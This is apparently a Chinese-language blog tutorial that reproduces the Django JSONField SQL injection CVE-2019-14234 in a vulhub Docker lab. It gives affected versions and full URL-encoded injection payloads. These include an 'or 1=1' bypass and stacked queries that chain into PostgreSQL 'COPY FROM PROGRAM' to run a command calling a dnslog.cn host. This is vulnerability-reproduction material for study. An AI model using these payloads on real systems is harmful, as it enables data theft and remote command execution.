Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的

发布时间:2021-12-14 10:36:25 作者:柒染
来源:亿速云 阅读:211

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。

Django是一个开放源代码的Web应用框架,由Python写成。采用了MTV的框架模式,即模型M,视图V和模版T。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS软件。并于2005年7月在BSD许可证下发布。

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。

漏洞影响版本:

Django 主开发分支

Django 2.2.x < 2.2.4

Django 2.1.x < 2.1.11

Django 1.11.x < 1.11.23

仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境

本环境采用vulhub搭建

执行以下命令完成环境搭建

cd vulhub/django/CVE-2019-14234/

docker-compose up -d

启动完毕后信息如下

漏洞链接:http://192.168.101.152:8000/

访问如下图所示

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的

首先访问http://192.168.101.152:8000/admin/登录后台,账户密码为admin/a123123123

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的

二、利用流程

登录后台后首先访问模型Collection的管理页面

http://192.168.101.152:8000/admin/vuln/collection/

添加get参数detail__a'引发sql语句报错,其中detail是模型Collection的JSONField

http://192.168.101.152:8000/admin/vuln/collection/?detail__a%27

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的

构造语句

http://192.168.101.152:8000/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20--

由于or 1=1 永远为真,所以返回所有结果

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的

Django一般与PostgreSQL一起配合使用,可以尝试利用PostgreSQL 高权限命令执行漏洞(CVE-2019-9193)

首先访问

http://192.168.101.152:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20

显示no results to fetch,语句已经执行

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的

之后访问

http://192.168.101.152:8000/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_execs%20FROM%20PROGRAM%20%27ping%20h7f2ni.dnslog.cn%20%27--%20

执行命令

Django JSONField SQL注入漏洞CVE-2019-14234的复现是怎样的

可以看到,命令已经成功执行

看完上述内容是否对您有帮助呢?如果还想对相关知识有进一步的了解或阅读更多相关文章,请关注亿速云行业资讯频道,感谢您对亿速云的支持。

推荐阅读:
  1. 怎么在python中使用Django防止SQL注入
  2. django索引的示例分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

django jsonfield sql

上一篇:如何不用node.js完成数据的可视化展示

下一篇:计算机中正常关机后为什么要开机自动检测硬盘

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》